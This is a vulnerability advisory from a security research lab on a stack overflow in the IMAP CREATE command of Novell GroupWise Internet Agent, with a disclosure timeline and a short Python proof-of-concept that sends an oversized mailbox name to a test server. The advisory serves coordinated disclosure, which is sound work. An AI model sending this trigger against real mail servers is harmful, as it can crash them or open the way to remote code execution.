PRL-2010-08

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Application:   Novell Groupwise Internet Agent Stack Overflow

Platforms:   Windows, Linux, Netware (GroupWise 7.0, 7.01, 7.02, 7.03x, 7.04, 8.0, 8.01x)

Exploitation:   Remote code execution

CVE Number:

Novell TID:  7006374

Author:   Francis Provencher (Protek Research Lab’s)

WebSite:   http://www.protekresearchlab.com/

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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in

enterprise operating systems, such as SUSE

Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions,

such as Novell Groupwise and Novell

Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology

contributed to the emergence of local

area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary

focus of the company is on developing

open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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2) Report Timeline
============================

2010-04-06 – Vulnerability reported to vendor
2010-07-16 – Coordinated public release of advisory

(http://www.zerodayinitiative.com/advisories/ZDI-10-129/)

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3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise

Internet Agent. Authentication is required to exploit this vulnerability.

The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long mailbox name to the

CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to remote

code execution under the context of the server.

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4) The Code
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#!/usr/bin/python
#

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = ‘\x41’ * 532

s.connect((‘192.168.100.177’,143))
s.recv(1024)
s.send(‘A001 LOGIN test@proteklab.com  test ‘ + buffer + ‘\r\n’)
s.recv(1024)
s.send(‘A001 CREATE ‘ + buffer + ‘\r\n’)
s.recv(1024)
s.close()

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